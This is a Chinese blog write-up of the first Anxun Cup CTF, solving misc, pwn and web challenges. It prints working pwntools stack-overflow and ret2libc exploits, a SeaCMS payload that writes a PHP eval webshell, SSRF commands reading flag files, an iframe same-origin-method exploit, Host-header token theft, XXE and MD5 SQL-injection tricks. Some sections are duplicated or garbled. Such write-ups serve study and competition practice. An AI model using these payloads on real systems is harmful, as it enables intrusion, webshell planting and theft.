

第一届安洵杯writeup

原创

LongHitler 于 2018-11-27 17:53:23 发布 1983 收藏 3

分类专栏: [ctf](#) 文章标签: [安洵杯](#) [writeup](#) [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/LongHitler/article/details/84570749>

版权



[ctf](#) 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

第一届安洵杯writeup

线上赛混个第三名, 跟着大佬们, 躺进下线赛了。

MISC

这里是签到题

应高数高分大佬要求, 签到题为下图:

<https://i.loli.net/2018/11/23/5bf7fef997715.jpg>

md5小写

例子:D0g3{21232f297a57a5a743894a0e4a801fc3}

格式

D0g3{md5(么元)}

<https://zhidao.baidu.com/question/1114204049719347299.html>

从最右边一列找一个元素, 它所在行与表头的首行完全一致, 即为左么元, 图中是c。

从最上边一行找一个元素, 它所在列与表头的首列完全一致, 即为右么元, 图中是c。

所以c是么元。

Md5©= 4a8a08f09d37b73795649038408b5f33

D0g3{4a8a08f09d37b73795649038408b5f33}

boooooom

第一个压缩包, 提示CRC爆破结果是纯数字, 直接爆破

里面三个文件, 看了一下大概是要先解压password然后运行.py计算flag.zip的解压密码。

然后crc32碰撞, 直接爆破password.txt的内容

```
for i in xrange(0,100000000):
    buf = str(i).rjust(8,'0')
    #print buf
    if zlib.crc32(buf) & 0xffffffff == 0x0cd95dac:
        print ",buf
```

然后再用.py跑

```
import hashlib
#f = open("password.txt",'r')
#password = f.readline()
password='08646247'
b64_str = base64.b64encode(password.encode('utf-8'))
hash = hashlib.md5()
hash.update(b64_str)
zip_passowrd = hash.hexdigest()
print(zip_passowrd)
```

再去解压flag.zip,解压出来一张图片

改高度,先直接winhex改了过后图片直接崩了,然后绕了一会,结果就是该高度,winhex不对应该是crc的原因。用tweakPNG改

修改高度为500

可以看到flag了导出图片 提取文字完事。

D0g3{a184929e2c170e2b7dc12eb3106f0a16}

pwn

Hiahiahia

入门pwn, 栈溢出到arg[0]

check一下, 有NX和canary

Gdb调试下

找到flag和arg[0]的地址算一下偏移

```
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
old_flag_addr = 0x4007a8
new_flag_addr = 0x6007a8
p = remote('149.248.7.48', 8888)
p.recvuntil("Please find the flag!")
#gdb.attach(p)
#payload = "a"*0x218 + p64(new_flag_addr)
payload = 'a'* 360 + p64(old_flag_addr)
p.sendline(payload)
flag = p.recv()
print flag
```

flag:D0g3{ccc_y0u_again_hiahiahia_}

neko

栈溢出，有system地址，leak libc。。。。

去libcdb查版本 然后基本操作栈溢出

```
#!/usr/bin/python
from pwn import *
EXE = "./neko"
e = ELF(EXE)
libc = e.libc
io = remote('149.248.7.48',9999)
system = e.plt["system"]
puts = e.plt["puts"]
puts_got = e.got["puts"]
io.sendlineafter("cats?\n",'y')
payload = "a" * 0xd4
payload += p32(puts)
payload += p32(0x080486E7)
payload += p32(puts_got)
io.sendafter("anchovies:\n",payload)
io.recvline()
base = u32(io.recv(4)) - 0x05f140
binsh = base + 0x15902b
payload = "a" * 0xd4
payload += p32(system)
payload += p32(binsh) * 2
io.sendafter("anchovies:\n",payload)
io.interactive()
```

flag: D0g3{Wh0_Doe5n't_1ik3_k1tt3ns??}

web

web1-无限手套

提示输入NOHO

测出来要求在7399999999到7400000000

[http://222.18.158.227:10580/?NOHO\[\]=d](http://222.18.158.227:10580/?NOHO[]=d) 数组绕过

□

输密码

发现是MD5加密后16进制转字符

md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3

想到了md5加密后再16进制转字符串后有单引号引起sql注入。以前做过md5 sql注入。

[http://222.18.158.227:10580/?NOHO\[\]=123](http://222.18.158.227:10580/?NOHO[]=123)

POST: password=fffdyop

fffdyop md5()加密-》276f722736c95d99e921722cf9ed621c -》再16进制转字符串为'or'6?]??!r,??b

得到flag:

e5e8b79aeb213ad6e0e4664e78aff61b

D0g3{e5e8b79aeb213ad6e0e4664e78aff61b}

web2

Find The d0g3.php In Intranets

<http://222.18.158.227:10180/>

点了几个图后输入name提交后为

<http://222.18.158.227:10180/?url=111>

有url, 提示

The Intranets are in range 10.10.1.0/16

那么d0g3.php就应该在内网

那从10.10.1.1开始找

<http://222.18.158.227:10180/?url=http://10.10.1.1/d0g3.php>

<http://222.18.158.227:10180/?url=http://10.10.1.3/d0g3.php> 返回404

<http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php>

找到了, 在<http://10.10.1.6/d0g3.php>有200回显了

提示GET d0g3参数。

尝试了[http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo\(\)](http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo());

发现是个官方shell

<http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `ls`>;

打印当前目录, 发现flag.txt

直接读

<http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `cat flag.txt`>;

D0g3{SSRF_ls_So_Easy}

only d0g3er can see flag

<http://138.68.2.14/seacms/>

查找poc getshell

<https://www.freebuf.com/vuls/150042.html>

<http://138.68.2.14/seacms/search.php>

post:

```
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=a{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver})&&ver=OST[9]))&&9[]=phpinfo();
```

那就写shell吧

```
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_put_contents('a.php','<?php%20@eval($_POST[c])?>');
```

提示.git泄露，用工具读出源码吧
\data\common.inc.php有配置信息

菜刀直接连接数据库读取flag

RDBnM3tUaGizX2lzX3JIYWxfZmxhZ30=

Base64解码: D0g3{This_is_real_flag}

我要吐槽一下，出题人是想考什么？改了两次题。

第一次题目的时候还有360防护...要我绕360吗？

昨天晚上还是138.68.2.14/。上传shell后，数据库中没有flag数据库，D0g3数据库中也没有flag信息。/www/wwwroot/的shell目录中有.user.ini文件限制，我在绕open_basedir。但是也只能用glob伪协议读目录。但是flag数据库目录在/www/server/data/flag还有在 /www/backup/database/下有备份文件flag。也没研究过怎么在没有系统命令下还要绕open_basedir读文件。

BOOM

御剑扫目录

后台登录地址: <http://222.18.158.227:10080/admin/login.html>

题目是boom就直接爆破吧，看题目描述应该是绕过这个验证码，刷新数字变大，估计是时间戳生成。

但是测了一下可以直接空等于空绕过，然后直接intruder爆破
爆了很久的弱口令 结果是纯数字 很坑。

登录拿flag

D0g3{70e052657cb40cf142883abaff266fee}

webN

首页一个SRC界面，没什么用

□

点礼品中心<http://222.18.158.245:6080/reward.php>点击购买

□

发现用户可控jsonp

□

看提示some攻击，翻文章

<https://paper.tuisec.win/detail/05c9c8b3e28bd2b>

<https://www.freebuf.com/articles/web/169873.html>

点礼品中心<http://222.18.158.245:6080/reward.php>点击购买

然后还提示联系客服，思路大概就是构造exp放vps上，发客服让机器人访问，子页面通过可控jsonp对父页面操作

```
<iframe src="http://222.18.158.245:6080/reward.php" name=b></iframe>
  <iframe name=a></iframe>
  <script>
    window.frames[0].open('http://222.18.158.245:6080/confirm.php','a');
    setTimeout(
      function(){
        window.frames[1].location.href = 'http://222.18.158.245:6080/confirm.php?callback=window.opener.pay';
      }
      ,1000);
  </script>
```

查日志发现flag

□

D0g3{Same_Orig1n_Method_ExCute_1s_eAsy}

Diglett

<http://54.200.169.99:7001>

□

查看源码：提示 [index.php?hu3debug=1](http://54.200.169.99:7001/index.php?hu3debug=1)

<http://54.200.169.99:7001/index.php?hu3debug=1>

得到php源码

```
<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
    $url = $_POST['url'];
    if(preg_match('/file/', $url))
    {
        echo "No hacker!";
        echo "</br>";
    }
    $url2 = preg_replace('/file/', "", $url);
    $content_url = getUrlContent($url2);
}
else
{
    $content_url = "";
}
if(isset($_GET['hu3debug']))
{
    show_source(__FILE__);
}
?>
```

利用curl读取文件。尝试url传入：file:///127.0.0.1/etc/passwd

```
if(preg_match('/file/', $url)){echo "No hacker!";echo "";}

```

虽然比较url是否有file关键字，但只是输出信息，没有结束。

```
url2= preg eplace( /file/ , , url);
```


不要被表象欺骗，钥匙就藏在数据包中

<http://222.18.158.227:10280/>

关键点在host Host Header欺骗

点忘记密码，burp抓包，把host改为自己的vps，然后看日志

□

会发重置密码的token，有效时间有点短，所以迅速复制进去改密码，然后登admin

登录后有个输入框

随便提交抓包

```
<information><username>test</username></information>
```

Xml格式 应该就xxe了

Payload

□

会发重置密码的token，有效时间有点短，所以迅速复制进去改密码，然后登admin

登录后有个输入框

随便提交抓包

```
<information><username>test</username></information>
```

Xml格式 应该就xxe了

Payload

□

外部实体注入 Filter协议读文件 记得base64读

拿到flag.php

```
PD9waHAKaGVhZGVyKCJD b250ZW50LVR5cGU6IHRleHQvaHRtbD tjaGFyc2V0P XV0Zi04lik7CmVjaG8gljxjZW50ZXI+PGZvbn Qgc2l6ZT0nNScgY29sb3I9J3JIZCc+ljsKZWNobyAiWW91IHdhbm5hIGNhcHR1cmUgdGhpcyBmbGFnPyl7CmVjaG8gljxicj48Ynl+ljsKZWNobyAiT2ggeWVzLCBoZXJlISl7CmVjaG8gljxicj48Ynl+ljsKZWNobyAiQnV0IG5vdywgIjsKZWNobyAiPGJyPjxicj4iOwplY2hvl Cj8+Cg==
```

解码

```
<?php
header("Content-Type: text/html;charset=utf-8");
echo "<center><font size='5' color='red'>";
echo "You wanna capture this flag?";
echo "<br><br>";
echo "Oh yes, here!";
echo "<br><br>";
echo "But now, ";
echo "<br><br>";
echo "Get out!";
echo "</font></center>";
//flag: D0g3{Hi_D0g3_Res3t_4nd_xXe}
```

方舟计划

<http://222.18.158.227:10380/index.php>

又是买彩票。和之前的qctf一样。也是php弱类型的锅。

POST传入{"action": "buy", "numbers": [true, true, true, true, true, true, true]}

每次都能中\$5000000，多买几次就能买flag了。

Here is your flag: 想上飞船不仅仅是有钱就够了，你还得有智慧，解出这道题，你就可以获救了：一次RSA密钥对生成中，假设 $p=473398606$ ， $q=451141$ ， $e=17$ 求解出d

python 已知p,q,e求rsa的d

<https://blog.csdn.net/zyxyzz/article/details/78205321>

```
# coding = utf-8
def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y
def extendedGCD(a, b):
    #a*x1 + b*y1 = r1
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #r1 = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #x1 = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #y1 = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)
p = 473398606
q = 451141
e = 17
n = p * q
fn = (p - 1) * (q - 1)
d = computeD(fn, e)
print d
```

求得150754621171553

D0g3{150754621171553}

Double-S

签到题

<http://54.200.169.99:7000/>

源码泄露<http://54.200.169.99:7000/www.zip>代码审计

```
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{
    public $info;
    function __construct()
    {
        $this->info = 'phpinfo()';
    }
    function __destruct()
    {
        eval($this->info);
    }
}
if(isset($_GET['aa']))
{
    if(unserialize($_GET['aa'])=='phpinfo')
    {
        $m = new Anti();
    }
}
else
{
    header("location:index.html");
}
?>
```

[http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo\(\)";}](http://54.200.169.99:7000/session.php?aa=O:4:)

通过phpinfo页面，我们知道php.ini中默认session.serialize_handler为php_serialize，而index.php中将其设置为php。这就导致了session的反序列化问题。

由phpinfo()页面继续可知，session.upload_progress.enabled为On。

当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，当PHP检测到这种POST请求时，它会在

`SESSION`中添加一组数据。所以可以通过`SessionUploadProgress`来设置`session`。传入`_SESSION`数据的，`session`考虑序列化

```
<?php
class Anti
{
    public $info='print_r(scandir(dirname(__FILE__)));';
}
$obj = new Anti();
$a = serialize($obj);
var_dump($a);
?>
//O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}
```

